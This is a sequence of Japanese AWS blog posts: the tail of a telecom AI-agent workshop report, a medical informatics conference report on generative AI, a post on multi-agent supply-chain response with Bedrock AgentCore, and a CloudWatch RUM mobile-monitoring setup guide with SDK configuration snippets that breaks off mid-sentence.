エージェントの活用方法を議論しました。参加者の皆様には、以下の5つの質問を軸に、自担当でのオペレーション業務の洗い出しから、AI エージェントに任せられる業務と任せられない業務の仕分け、その判断基準の検討、必要なデータと指示（プロンプト）の検討、そして実際の AI エージェントアーキテクチャの設計まで、包括的なディスカッションを行っていただきました。このグループワークを通じて、AI が単なるツールではなく、ネットワーク運用を変革する可能性を持つことを体感いただけたと考えています。特に、どの業務を AI に委譲できるか、どこで人間の判断が必要かという議論は、実際の業務への適用を考える上で非常に重要な示唆を与えるものとなりました。 Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 続いては、AI エージェントを大規模かつ安全に構築、デプロイ、運用するためのビルディングブロック Amazon Bedrock AgentCore についてのセッションです。これまでのセッションで Strands Agents を利用したエージェントを作りました。このエージェントを本番環境で運用するには、リクエスト増減に合わせてさばけるスケーラブルなコンピューティング環境、認証認可の仕組み、会話履歴などを管理する記憶領域、ツールへの接続と管理、などを考慮する必要があります。これらの課題解決に役立つのが Amazon Bedrock AgentCore であることをお伝えしました。 川岸 基成 Solutions Architect 通信ネットワーク運用というワークロードに当てはめた際の使い方や価値についてもお伝えしました。例えば、機密性の高いNW運用ワークロードでは、Runtime のセッション分離のセキュアな環境が役立つでしょう。AI Agent とのやり取りの中で発見されたインシデントパターン、解決戦略などのナレッジを Memory に蓄積・活用していくことで、より精度を高められる可能性があります。 クロージング 最後に、ワークショップ全体の振り返りながら、AI エージェントを導入するには、AI エージェントに加えてユースケースに応じたオペレーションデータを活用することが必須であることを改めて伝えさせていただきました。また、その実現に向けて AWS がどのように貢献をすることができるか、について、サービスとしてのメリットだけではなく、豊富な事例やネットワーク運用を理解した支援が可能である点をお伝えしました。本ワークショップはその支援の一つであり、ネットワーク運用に携わる方にとってより実用的な内容だったかと思います。 おわりに 本記事では、「通信ネットワーク運用向け AI エージェントワークショップ」についてレポートしました。参加頂いたお客様からは「AI エージェントの現場への導入へのイメージの確度が高めることができた」「やれる気がしてきた」「他社他部署の運用保守に携わる方と交流できた貴重な時間」「Amazon Bedrock AgentCore がサーバレスなので運用がとても楽になる」などのご評価を頂きました。ご参加頂いた皆様、本当にありがとうございました。頂いたフィードバックをもとに改善を重ねて参ります。また、ネットワークの運用 AI エージェントの導入に向けて、本内容が少しでも皆様の業務のお役に立てば幸いです。 著者 宮崎 友貴 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 神谷 拳四郎 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 川岸 基成 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 堀場 勝広 アマゾン ウェブ サービス ジャパン合同会社 Telecom Industry Business Unit プリンシパルソリューションアーキテクト

2025 年 11 月 12 日(水) ～ 11 月 15 日(土) の 4 日間、兵庫県姫路市のアクリエひめじにて 第 45 回医療情報学連合大会 が開催されました。大会テーマは「医療 DX がもたらす医療情報新時代」。参加登録者数は 3,800 名を超え、現地では 2,900 名が参加されました。AWS は本大会において、スポンサードセッション「生成AIとヘルステックの融合が拓く、次世代の医療サービス」と展示ブースでの情報提供を通じて、医療関係者・研究者の皆様と医療 DX と生成 AI 活用の最新動向を共有する機会をいただきました。本ブログでは、セッションの登壇内容と展示ブースでの取り組みについてご報告します。 生成AIとヘルステックの融合が拓く、次世代の医療サービス AWS のスポンサードセッションでは、はじめに AWS 公共部門 ヘルスケア事業本部 本部長の大場から、医療における生成 AI の展望と Agentic AI の可能性について説明しました。続いて、 株式会社メドレー 様から、医療現場での生成 AI 活用の実践事例をご紹介いただきました。 医療における生成 AI の展望と Agentic AI の可能性 AWS 公共部門 ヘルスケア事業本部 本部長　大場 弘之　登壇 [ slide ] AWS では、医療機関が安全かつ効率的に生成 AI を活用できるよう、Amazon Bedrock を中核とした包括的なサービスを提供しています。Bedrock では、お客様のデータが基盤モデルの学習に利用されることはなく、プライベートかつセキュアな利用が可能です。Claude Sonnet 4.5/ Claude Haiku 4.5 / Nova 2 Lite 等の一部のモデルでは 日本国内に限定したクロスリージョン推論 を提供しています。これらにより、お客様が医療情報ガイドラインをはじめとした、高いコンプライアンス要件に準拠するための実装をサポートしています。 セッションでは、生成 AI の進化の中でも特に注目される Agentic AI について説明しました。従来の Chatbot が単純な質問応答を行い、RAG（Retrieval-Augmented Generation）が組織固有の知識を活用した回答を提供するのに対し、Agentic AI は多様なツールやシステムと連携しながら、複雑なタスクを自律的に実行できる点が特徴です。医療現場では、この Agentic AI が診療記録の作成や検査オーダー、文書作成など、医療従事者の業務を包括的に支援する可能性を持っています。 AWS Japan は ヘルスケア・ライフサイエンス業界向けの生成 AI デモ・AI エージェントツール群として「 HealthData x Agent 」を 10月に公開しました。医療現場で Agentic AI がどのように活用できるのか、具体的なユースケースを通じて体験いただけます。AWS では、医療における AI エージェントの展開を支援するため、開発から本番環境への展開まで、段階に応じた多様なサービスを提供しています。AI エージェント開発のためのオープンソース SDK (Software Development Kit) の Strands Agent のほか、 Amazon Bedrock Agents ではエージェント開発からクラウドへのデプロイまでフルマネージドに利用できます。さらに Amazon Bedrock AgentCore を活用すれば、任意のフレームワークや基盤モデルで開発したエージェントを大規模かつ安全に運用できます。これらの強力なサービスを通じて、医療における AI エージェントの展開を推進してまいります。 AWS を活用されているお客様の最新事例は「 医療機関向け これから学ぶ AWS クラウド 」をご確認ください。 医療 AI の現在と未来：クラウド電子カルテが描く未来の世界観 株式会社メドレー 医療プラットフォーム本部 医科診療所プロダクト開発室長　佐藤 雄介 様　登壇 [ slide ] 医師の働き方改革が進む中、特に診療所では医療文書作成が多くの業務時間を占めており、医師が診療や患者との対話により注力できる環境の整備が急務となっています。2024 年 4 月に施行された「医師の働き方改革」により時間外労働の上限規制が適用され、医師の長時間残業は全体として減少傾向にありますが、診療所における経営者である医師の長時間労働は依然として常態化しています。こうした背景から、医療 AI 市場の成長が期待されています。次世代医療プラットフォームを提供する メドレーの佐藤様からは、人件費の AI 置換率が 5 年で 2.5%、10 年で 5% というベースケースを仮定した場合、生成 AI の技術革新により医療 AI 市場が 2035 年には約 1.5 兆円規模に達するとの予測を紹介いただきました。 セッションでは、医療現場での実証実験を通じて、生成 AI がカルテ作成や医療文書作成業務の効率化に貢献できることが紹介されました。診察中の発話をリアルタイムで文字起こしし、AI が自動要約する仕組みでは、SOAP 形式など複数のフォーマットに対応し、1 クリックでカルテに転記できます。これにより、医師が「メモを取ることに集中しなくてよい」という安心感を提供し、患者との対話により集中できる環境を実現します。 実際の医療機関での先行利用では、カルテ作成時間を約 11.3% 削減されることが確認されました。医師からは「1 日あたり 30 分〜 1 時間程度、カルテ入力にかかる時間が短縮している」との声があり「メモを取ることに集中しなくてよい」安心感が大きいとのフィードバックが得られています。患者からも「最新技術を取り入れている」「話したことをきちんと記録してもらえる」と好意的な反応が得られており、生成 AI は医療従事者の業務効率化だけでなく、患者体験の向上にも寄与することが示されました。詳細はメドレー様の プレスリリース をご参照ください。 セッション後半では、生成 AI が医療プロセスをどのように変革していくかというビジョンについてご発表いただきました。 まず、今後の展望として、主治医意見書作成のような個別業務において生成 AI がアシストする機能が拡張されていくとのお話がありました。さらに、AI エージェントが患者とコミュニケーションを行うことで、早期のリスク検出や診療前の事前準備が可能になるなど、エージェント技術が医療の質向上に貢献する可能性についてもご紹介いただきました。 具体的なユースケースと将来展望を交えたセッションの内容は、医療現場での AI 活用を検討される聴講者の皆様にとって、大変有益な示唆に富むものとなりました。 展示ブース 展示ブースでは、パネルとデモを通じて医療分野における生成 AI 活用についてご紹介しました。特に、デモ展示では包括的な生成 AI を活用したビジネスインテリジェンスプラットフォームの Amazon Quick Suite をはじめ、生成 AI 関連のサービスやソリューションを展示しました。データの可視化と自然言語によるデータ分析をテーマにデモンストレーションを実施し、来場者の皆様に実際にご覧いただき、操作も体験いただきました。会場では多くのご質問やフィードバックをいただきました。 パネル展示で特に注目を集めたのが、医療機関が直面する生成 AI 活用の課題を解決するための「 ANGEL Dojo 」という内製化支援プログラムです。ANGEL Dojo は参加組織から選出された 10 名程度のメンバーでチームを組み、約 3 ヶ月間でサービスの企画から開発までを行うトレーニングです。特徴としては、 AWS パートナーによる「共創型内製化」を実現する点にあります。2025 年 10 月に開催された ANGEL Dojo 2025 では、初めて医療機関からご参加いただき、2 つの病院から成果を上げられました。兵庫県立リハビリテーション中央病院様では、富士ソフト株式会社と協力し、スケジュール作成時間を 80% 短縮し、60% の自動化を実現されました。特筆すべき点として、IT 知識ゼロの総務部の方が、90 日間で AWS の上での開発におけるベストプラクティスである Well-Architected フレームワーク に則ったシステム構成を実装されました。熊本中央病院様では、キヤノン IT ソリューションズ株式会社と協力し、月 800 時間の文書作成時間削減を実現し、月 2,000 件以上の文書作成業務を効率化されました。看護師をはじめとした病院内の方々がチームを構成し、実用的なシステムを開発された点が特筆されます。両病院の取り組みの詳細については、ANGEL Dojo のブログ記事「 地方病院がシステムの内製化に挑戦!? IT 知識ゼロから始めた生成 AI による業務効率化への 90 日 」をご参照ください。 おわりに 第 45 回医療情報学連合大会を通じて、医療 DX における生成 AI の可能性と、それを実現するための具体的なアプローチについて、多くの医療従事者・研究者の皆様と議論を深めることができました。ANGEL Dojo の事例が示すように、IT 知識がない状態からでも、適切な支援とパートナーシップがあれば、医療機関自らが生成 AI を活用したシステムを構築することが可能です。 AWS は今後も、医療機関の皆様が安全かつ効率的に生成 AI を活用できるよう、包括的なサービスとサポートを提供してまいります。医療 DX や生成 AI 活用についてご関心がある方は、ぜひ AWS までお問い合わせください。本大会でお会いできた皆様、貴重なご意見をいただいた皆様に、この場を借りて御礼申し上げます。 Yohei Katayama 片山 洋平 は AWS Japan のパブリックセクターのソリューションアーキテクトです。主に医療機関をはじめとしたヘルスケア業界のお客様のソリューション構築の支援を行なっています。週末は登山を嗜んでいます。

午前2時。携帯電話に緊急のアラートが届きます: 主要港湾の閉鎖、47件の入荷便への影響、そして72時間後に迫ったプロモーション開始。急いでノートパソコンを開き、在庫ダッシュボード、物流プラットフォーム、サプライヤーポータルといった十数個の異なるシステムを確認します。これらは今起きている状況の一部しか伝えておらず、必要な答えは得られません。市場シェアを競合他社に奪われる前に、どのように出荷を再ルーティングし、在庫を再配分し、プロモーションでコミットした出荷量を維持できるのでしょうか？ 主要港湾の閉鎖などの混乱がサプライチェーンに影響を与える場合、一分一秒が重要です。小売・消費財企業にとって、労働力不足、気象現象、予期しない港湾閉鎖によるサプライチェーンの混乱は、数百万ドルの収益損失とステークホルダーとの関係の悪化をもたらす可能性があります。これらの混乱を管理し対応を策定することは、現代的なデータ駆動型で相互接続されたサプライチェーンを持つ組織であっても手動プロセスのままです。そのため従来のシステムは、データの処理、複数のステークホルダー間の調整、重要な時間内での実行可能な推奨事項の策定といった対応に苦慮することになります。 サプライチェーンレジリエンスの課題 現代の小売・消費財企業のサプライチェーンは、グローバルサプライヤー、配送センター、輸送ネットワーク、小売拠点にまたがる複雑なネットワークです。混乱が発生すると、意思決定者はいくつかの重要な課題に直面します。 データの断片化: 在庫システム、物流プラットフォーム、サプライヤーデータベース、外部データソースに重要な情報の散在 時間的制約: 出荷の再ルーティングや在庫の再配分において時間が重要に 複雑性: 並行して最適化が必要な複数の相互依存する変数の存在 ステークホルダーの調整: サプライヤー、物流プロバイダー、社内チーム間で同期した対応の必要性 従来のアプローチは手動分析と順次処理の意思決定プロセスに依存しており、現代のサプライチェーンの混乱の速度と複雑さに単純についていけません。 マルチエージェント AI: サプライチェーンインテリジェンスの新しいパラダイム マルチエージェント AI アーキテクチャは、複雑なビジネス問題へのアプローチ方法における根本的な変化を表しています。問題のすべての側面を処理しようとする単一の AI システムの代わりに、専門化された AI エージェントが協調して作業し、それぞれが専門分野に焦点を当てながら、スーパーバイザーエージェントがその結果を統制します。 現在一般提供されている Amazon Bedrock AgentCore のマルチエージェント協調機能と最新の基盤モデルを組み合わせることで、専門エージェントが連携してサプライチェーンの混乱にリアルタイムで対処する本番対応システムを構築できます。 アーキテクチャ概要: 協調して動作する専門エージェント 私たちのデモンストレーションのアーキテクチャは、Amazon Bedrock が提供する基盤モデル、Amazon Bedrock AgentCore が提供するAIエージェント運用機能、マルチエージェント協調機能を活用して、回復力のあるサプライチェーン対応システムを構成します。アーキテクチャは以下で構成されます。 スーパーバイザーエージェント: サプライチェーンコーディネーター 受信した混乱アラートを分析 専門エージェントにタスクを委任 推奨事項を実行可能な提案に統合 全体の対応ワークフローにわたってコンテキストを維持 専門協力エージェント: 物流最適化エージェント 代替輸送ルートの評価 運送業者の利用可能性と輸送能力の評価 利用可能な輸送と詳細の調査 物流調整の推奨事項の検証 実行レポートの物流コンポーネントの生成 在庫エージェント 混乱イベントおよび他のエージェントからの入力の検証 提案された様々なソリューションの影響分析の実行 在庫不足と提案された輸送の結果の計算 プロモーションリスクエージェント 混乱の影響を受ける製品および提案されたソリューションに含まれる製品への影響の分析 混乱または提案された代替案に影響を与える可能性のある関連プロモーションデータの取得 他のエージェントへのプロモーションの詳細の提供 出荷追跡エージェント 提案された調整に影響を与える上流の出荷遅延に関する詳細の提供 実現可能性レビューを通じて出荷先オプションの検証 AWSサービスを使用した技術的実装 このアーキテクチャは、エンタープライズ規模の AI アプリケーション向けに設計されている AWS サービスの基盤に構築されています。 Amazon Bedrock AgentCore は、ランタイム、メモリ、アイデンティティ、可観測性、API 統合機能を含む、AI エージェントを安全かつ大規模に展開・運用するためのインフラストラクチャを提供します。Amazon Bedrock AgentCore Runtime に展開されたマルチエージェントアーキテクチャにより、各専門エージェントは以下のことが可能になります。 マルチステップワークフローを自律的に実行 ナレッジベースを通じてエンタープライズデータソースに安全に接続 リアルタイムデータアクセスのためにAPIとアクショングループの呼び出し 会話のコンテキストとメモリの維持 マルチエージェントコラボレーションにより、スーパーバイザーエージェントは以下のことが可能になります。 複雑な混乱シナリオを管理可能なタスクに分解 適切な専門エージェントに委任 エージェント間の情報フローの調整 出力を包括的な推奨事項に統合 主要技術機能 インラインエージェント: 柔軟な対応シナリオのための実行時のエージェントの役割の動的な調整 ペイロード参照: 転送オーバーヘッドを削減し応答時間を改善する効率的なデータ処理。これにより、混乱イベントによりエージェントがトリガーされます。サプライチェーン担当者は混乱を解決するために対応を開始する時点で、ビジネス目標に合致したデータ駆動型の検証可能な解決計画を手にすることができます。 強化されたトレーサビリティ: 各エージェントの思考、カスタマイズされたツール相互作用の結果、ビジネス整合性のために生成 AI のハルシネーションに左右されない決定論的最適化戦略を含む、本番運用のための包括的な監視とデバッグ機能。 デモウォークスルー: 港湾閉鎖シナリオ 入荷便に影響する主要西海岸港湾の閉鎖を例にとって、システムが実世界の混乱にどのように対応するかを見てみましょう。 ステップ 1: 混乱の検出 システムは港湾閉鎖に関するアラートを受信します。それには影響を受ける出荷、推定期間、影響を受ける SKU の情報が含まれています。 図1: 配送分析　港湾閉鎖: 台風がシンガポールに影響を与えると予想されます。 図 1 に示されるように、システムは小売ユースケースと港湾閉鎖を混乱として特定しました。このシナリオでは、台風がシンガポールに影響を与えることが予想されます。画面は分析プロセスの開始を促す混乱イベントのシミュレーションを示しています。 ステップ 2: スーパーバイザーエージェント分析 サプライチェーンオーケストレーターは混乱の範囲を分析し、対応計画を作成し、専門エージェントにタスクを委任します。 図2: 混乱への対応の戦略 図2は、マルチエージェントアプリケーションによって特定された具体的な混乱への対応の戦略を表示しています。2つの推奨事項が示されており、1つは港湾閉鎖によって遅延する出荷をカバーするために利用可能な在庫の完全な移転です。2つ目の推奨事項は、今後のプロモーションキャンペーンをカバーするための追加の移転の提案です。図は、提案された戦略を承認または拒否するオプションも示しており、人間のドメイン・エキスパートがプロセスに依然として関与していることを示しています。 ステップ 3: マルチエージェント最適化戦略 在庫インテリジェンス・エージェントは、在庫切れを最小限に抑えるために活用できる代替在庫を持つ関連配送センターを特定します。 在庫エージェントは、SKU 毎およびパレット毎の詳細、ならびに注文のタイムリーな影響と将来予測される在庫影響を取得・提供します。 プロモーションリスク・エージェントは、最適化戦略に影響を与える可能性のある関連プロモーションデータを決定するために、利用可能な製品を今後のプロモーションに関連付けます。 出荷追跡エージェントは、実世界の出荷データに対して最適化を検証するために、アクティブおよび提案された出荷を調査します。 図3: マルチエージェント連携 図 3 は、小売シナリオにおける相互作用戦略とともに、各専門エージェントとそれぞれのタスクを示しています。サプライチェーンコーディネーター・エージェント、ロジスティクス・エージェント、在庫エージェント、プロモーションリスク・エージェント、および出荷追跡エージェントが、マルチエージェント連携に含まれています。 ステップ 4: 統合推奨事項 スーパーバイザーエージェントは、このシナリオの調査結果を次の3つのデータ駆動型提案に統合します。 即座の再配分: 需要の少ない地域から既存在庫を再配分 代替ルーティング: 3日遅延でメキシコ湾岸港を通じて出荷を再ルーティング サプライヤー加速: 5日のリードタイムで重要SKUのバックアップサプライヤーを活用 各提案には、コストへの影響、タイムライン見積もり、リスク評価が含まれ、すべて初期の混乱アラートから数分以内に生成されます。 図 4: 承認に基づく影響の概要を示しています。 特定されたシナリオである港湾閉鎖に対する承認された戦略に基づく影響のサマリーが示されています。マルチエージェント・アプリケーションは、受け入れられた提案が輸送コストで-$4,275、確保できる総収益で$28,500の結果をもたらすと判断しました。また、注文番号、注文あたりの単位、アイテム ID、配送センター、到着日を含む両方の承認された移転注文も表示されています。 ビジネスインパクトと測定可能な成果 サプライチェーンの回復力のためにマルチエージェントAIアーキテクチャを実装する組織は、次の重要な利益を得ています。 速度: 複雑な混乱シナリオに対する応答時間を時間から分に短縮 精度: データ駆動型推奨事項が推測を排除し、コストのかかるエラーを削減 拡張性: 追加人員なしで複数の同時混乱を処理 透明性: コンプライアンスと学習のための意思決定プロセスの完全な監査証跡 マルチエージェントアプローチは継続的改善も可能にします。それぞれの混乱対応は、個別の長期記憶戦略として Amazon Bedrock Agent Core Memory に保持され、エージェントのパフォーマンスを改善し機能を拡張します。監査人とコンプライアンスは、エージェントプロセスをレビューし、意思決定方法を記録し、Amazon Bedrock AgentCore Policy を通じて既存のポリシーに従ってすべての決定が行われたことを確認するためにメモリをレビューすることができます。 Amazon Bedrock AgentCore は、組み込まれたセキュリティ、拡張性、可観測性を備えた、プロトタイプから本番環境への移行に必要な本番グレードのインフラストラクチャを提供します。 結論: サプライチェーンレジリエンスの未来 サプライチェーンの混乱は避けられないものですが、その影響は避けられないものである必要はありません。Amazon Bedrock AgentCore を基盤とするマルチエージェントAIアーキテクチャは、小売・消費財企業が複雑性と不確実性に対応する方法における根本的な進歩を表しています。 専門化された AI エージェントが複雑な問題に協力して取り組むことを可能にすることにより、組織はサプライチェーンの混乱を危機から、明確でデータ駆動型の対応のみちすじを持つ管理可能なイベントへと変化させることができます。 このテクノロジーは今日、本番環境で利用可能です。技術リーダーにとっての問題は、サプライチェーンの回復力のためにマルチエージェント AI を採用するかどうかではなく、次の混乱からビジネスを守るためにどれだけ迅速に実装できるかということです。 マルチエージェント AI をサプライチェーンに活用する準備はできていますか？ NRF 2026: Retail’s Big Show のブース 4438 にある AWS Industries Retail & Consumer Goods スペースを訪れて、実際のデモをご覧ください。また、本番環境対応のマルチエージェントシステムの構築について詳しく知るには、 Amazon Bedrock AgentCore のドキュメントをご確認いただくか、お客様固有のサプライチェーンの課題について話し合うために AWS アカウントチームにお問い合わせください。 著者について David Bounds David は AWS のエンタープライズソリューションアーキテクトで顧客が AWS 上で彼らのワークロードを加速することを支援しています。機械学習と生成 AI に焦点を当て、あらゆる種類、視点、経験レベルの顧客に技術支援を提供しています。David はロンドンに住み、天気を愛し、ボクサー犬の散歩、そして物語の収集を楽しんでいます。 Angel Goni Oramas Angel はアトランタを拠点とするプリンシパルソリューションアーキテクトで、金融サービス、小売、消費財業界にわたって15年以上の IT 経験を持っています。 本稿の翻訳は、ソリューションアーキテクトの斉藤大徳が担当しました。原文は こちら 。

本記事は 2025 年 12 月 9 日 に公開された「 Amazon CloudWatch RUM now supports mobile application monitoring 」を翻訳したものです。 Amazon CloudWatch RUM のモバイル対応を発表できることを嬉しく思います。これにより、AWS のリアルユーザーモニタリング (RUM) 機能が iOS および Android アプリケーションにも拡張されます。これまで Web アプリケーションでのみ利用可能だったモニタリングツールが、モバイル開発者にも提供されるようになりました。 モバイルデバイスが日常生活においてますます重要になる中、モバイルアプリの最適なパフォーマンスとユーザーエクスペリエンスを確保することがこれまで以上に重要になっています。しかし、モバイルアプリのモニタリングには、デバイス、オペレーティングシステム、アプリケーションバージョン、ネットワーク、ユーザーインタラクションの多様性により、独特の課題があります。モバイルアプリ開発者は、「テストでは完璧に動作するのに、実環境ではパフォーマンスの問題が発生する」という継続的な課題に直面しています。合成テストや従来のモニタリング手法は実世界のパフォーマンスに関する洞察を提供しますが、エンドユーザーエクスペリエンスを理解するために必要なデータが不足しています。そこで CloudWatch RUM Mobile の出番です。実際のユーザーの手の中でモバイルアプリがどのように動作しているかについて深い洞察を提供するメトリクスを収集できます。 モバイル向け Amazon CloudWatch RUM モバイル向け Amazon CloudWatch RUM は、エンドユーザーのモバイルアプリが使用される際に、非常に重要なパフォーマンスデータとユーザー行動メトリクスを収集するのに役立ちます。軽量な SDK を Android または iOS アプリに実装することで、アプリのパフォーマンス、ユーザーインタラクション、ユーザーエクスペリエンスに影響を与える潜在的な問題に関する豊富な情報をキャプチャできます。 開始するには、CloudWatch RUM コンソールで「アプリケーションモニター」を作成し、SDK をアプリに統合してデプロイするだけです。SDK はユーザーがアプリを操作する際にバックグラウンドで実行され、貴重なデータを RUM に送信して集約と分析を行います。このツールは単独で使用することも、 Amazon CloudWatch Application Signals や AWS X-Ray などの他の AWS サービスと組み合わせて使用することもでき、Web およびモバイルプラットフォーム全体でアプリケーションのパフォーマンスを包括的に把握できます。 開発プロセスを変革する主なメリット CloudWatch RUM Mobile は、開発チームがリアクティブなデバッグからプロアクティブな最適化へと移行できるようにします。実際のユーザーからリアルタイムのパフォーマンスメトリクスを収集し、ユーザー満足度に影響を与える前にパフォーマンスの問題を特定できます。システムは画面の読み込み時間を監視し、アプリのクラッシュ、Android の ANR (Application Not Responding) または iOS のアプリハングを完全なコンテキストとともに追跡し、これらすべてのデータを包括的なダッシュボードで視覚化します。 変革は即座に起こります。ユーザーからの苦情を待ったり、バグを再現しようとしたりする代わりに、ユーザーがアプリとやり取りするたびに何を経験しているかについて、明確で実用的な洞察が得られます。 はじめに: モバイルモニタリング強化への道 このブログでは、 Amazon CloudWatch RUM を Android および iOS モバイルアプリに統合する方法を学びます。モバイル向け CloudWatch RUM の使用を開始するには、以下の詳細な手順に従って、Android または iOS アプリのモニタリングをセットアップして実装します。 Android 用アプリケーションモニターのセットアップ 開始するには、まず「アプリケーションモニター」を作成する必要があります。これを行うには、 AWS CloudWatch コンソール を開き、 Application Signals に移動して RUM を選択します。次に「 Add app monitor 」をクリックします。 図 1: AWS CloudWatch コンソールからアプリモニターを作成 これで「Android」と「iOS」という 2 つの新しいオプションが表示されます。「App monitor name」の下でアプリモニターに名前を付け、プラットフォームとして「Android」または「iOS」のいずれかを選択して続行します (ここでは Android を選択します)。 図 2: アプリケーションモニターの作成 – Android と iOS のオプション 要件に基づいて有効にできるいくつかの「オプション」フィールドがあります。 RUM テレメトリ を Amazon CloudWatch Logs で利用できるようにする場合は、「Data Storage」オプションをチェックします リソースベースのポリシーを使用してアクセスを制御する場合は、「Attach a public Resource Based Policy」をチェックします スパン を X-Ray で利用できるようにする場合は、「Active tracing」オプションをチェックします 図 3: アプリケーションモニターの作成 – オプションフィールド Add app monitor をクリックして完了します。 コンソールは、データの収集を開始するために Android アプリケーションに追加する必要がある コードスニペット を提供します。コードは 「手動計装」 と 「ゼロコード計装」 の両方で提供されます。 スニペットを保存しましょう。これは、このブログの後半の「 Android アプリの計装 」セクションで使用します。 図 4: アプリモニターの作成 – 手動およびゼロコード計装用のコードスニペット Android アプリの計装: 実装パスの選択 アプリケーションモニターが作成されたので、テレメトリデータをアプリケーションモニターに送信するようにモバイルアプリを計装しましょう。上記で気づいたように、モバイルアプリを計装または設定するには、 ゼロコード計装 と 手動計装 の 2 つのオプションがあります。 まず、「 アプリケーションモニターのセットアップ 」セクションのコードスニペットを手元に用意してください。このセクションを完了するために必要になります。コードは https://github.com/aws-observability/aws-otel-android でも入手できます。それでは、これらの各オプションを確認しましょう。 オプション 1: ゼロコード計装 (エージェント) これには、まずアプリケーションの "app/build.gradle" ファイルにいくつかの依存関係を注入する必要があります。以下は Kotlin DSL の例です。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { // ADOT Android Agent - includes automatic instrumentation implementation("software.amazon.opentelemetry.android:agent:1.0.0") // Automated HTTP client instrumentation with byteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha")// if you are using OkHttp-3.0 byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") // if you are using URLConnection/HttpURLConnection /HttpsURLConnection } 次に、ゼロコード設定では、アプリケーションの "res/raw" ディレクトリの下に "aws_config.json" というファイルを作成し、以下のコードスニペットを記述する必要があります ( 各パラメータの値を必ず置き換えてください ) 。 { "aws": { "region": "<your-region>", // specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>", // replace with the ID of the app monitor created above }, // optional attributes that will be appended to all OpenTelemetry application spans and events " otelResourceAttributes ": { "service.name": "<your_app>", // Note: Update this with your application name "service.version": "1.0.0" // specifying service.version will allow you to filter telemetry on the RUM console based on your running app's version } } これで完了です! これは、Android エージェントを初期化し、CloudWatch RUM アプリケーションモニターへのテレメトリの収集を開始するために必要な最小限のものです。 オプション 2: 手動計装 クライアントをプログラムで設定するには、オプション 1 で使用した「agent」モジュールの代わりに、軽量な「core」モジュールを使用します。これには、アプリケーションの "app/build.gradle" ファイルに以下の SDK を追加しましょう。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { implementation("software.amazon.opentelemetry.android:core:1.0.0") // Automated HTTP client instrumentation with ByteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha") byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") } 次に、アプリケーションで AWS Distro for OpenTelemetry (ADOT) Android エージェントを初期化する必要があります。 class MyApplication : Application() { override fun onCreate() { super.onCreate() OpenTelemetryRumClient { androidApplication = this@MyApplication awsRum { region = "<your-region>" appMonitorId = "<your-app-monitor-id>" } otelResource = Resource.builder() .put("service.name", "MyApp") // Note: Update this with your application name .put("service.version", "1.0.0") // Note: Keep this updated with latest version .build() } } } 最後に、Application クラスがまだない場合は、この新しい「MyApplication」を Android マニフェストに登録する必要があります。 <application> android:name="com.example.MyApplication" <!-- All other attributes, activities, etc --> android:label="MyApplication"> </application> この後、アプリケーションを実行して、アプリケーションモニターへのテレメトリの受信を開始できるはずです。 iOS 用アプリケーションモニターのセットアップ iOS アプリケーション用の アプリケーションモニター を作成するプロセスは、上記で示した Android アプリケーションの場合と同じです。iOS 用のアプリモニターが作成されたら、テレメトリデータの送信を開始するためにアプリケーションを計装する方法を見てみましょう。iOS のコードも https://github.com/aws-observability/aws-otel-swift で入手できます。 オプション 1: ゼロコード計装 (エージェント) Android の「アプリケーションモニター」と同様に、「アプリケーションモニター」作成の最終ページで iOS アプリを計装するための「 コードスニペット 」を取得できます。これらの手順に基づいて、 Swift SDK の依存関係をアプリケーションの "Package.swift" ファイルに注入します。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "<YourAppTarget>", dependencies: [ // Only for automatic initialization .product(name: "AwsOpenTelemetryAgent", package: "aws-otel-swift"), ] ) ] SDK は、「AwsOpenTelemetryAgent」モジュールがアプリにインポートされると自動的に初期化されます。アプリバンドルのルートディレクトリで "aws_config.json" という名前のファイルを探します (各パラメータの値を必ず置き換えてください) 。 { "aws": { "region": "<your-region>",// specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>" // replace with the ID of the app monitor created above }, "otelResourceAttributes": { "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version } } オプション 2: 手動計装 クライアントをプログラムで設定するには、プロジェクトの "Package.swift" ファイルに以下の依存関係を追加します。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "YourAppTarget", dependencies: [ .product(name: "AwsOpenTelemetryCore", package: "aws-otel-swift"), ] ) ] 次に、アプリケーションで ADOT Swift エージェントを初期化します。 import AwsOpenTelemetryCore class AppDelegate: UIResponder, UIApplicationDelegate { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { AwsOpenTelemetryRumBuilder.create( config: AwsOpenTelemetryConfig( awsRum: AwsRumConfig( region: "<your-region>", appMonitorId: "<your-app-monitor-id>" ), otelResourceAttributes: [ "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version ] ) )?.build() return true } } アプリのパフォーマンスの可視化: データが洞察に変わる場所 モバイル向け CloudWatch RUM がデータの収集を開始すると、CloudWatch RUM はモバイルパフォーマンスのコマンドセンターに変わり、生のパフォーマンスデータを実用的な洞察に変える複数の専門的なビューを提供します。 表示される RUM アプリケーションモニターのリストから、上記のセクションで作成したアプリケーションモニターを選択します。これにより、Performance、Errors、Sessions、Metrics、Configuration などのさまざまなタブを持つダッシュボードが表示され、画面、アプリバージョン、OS 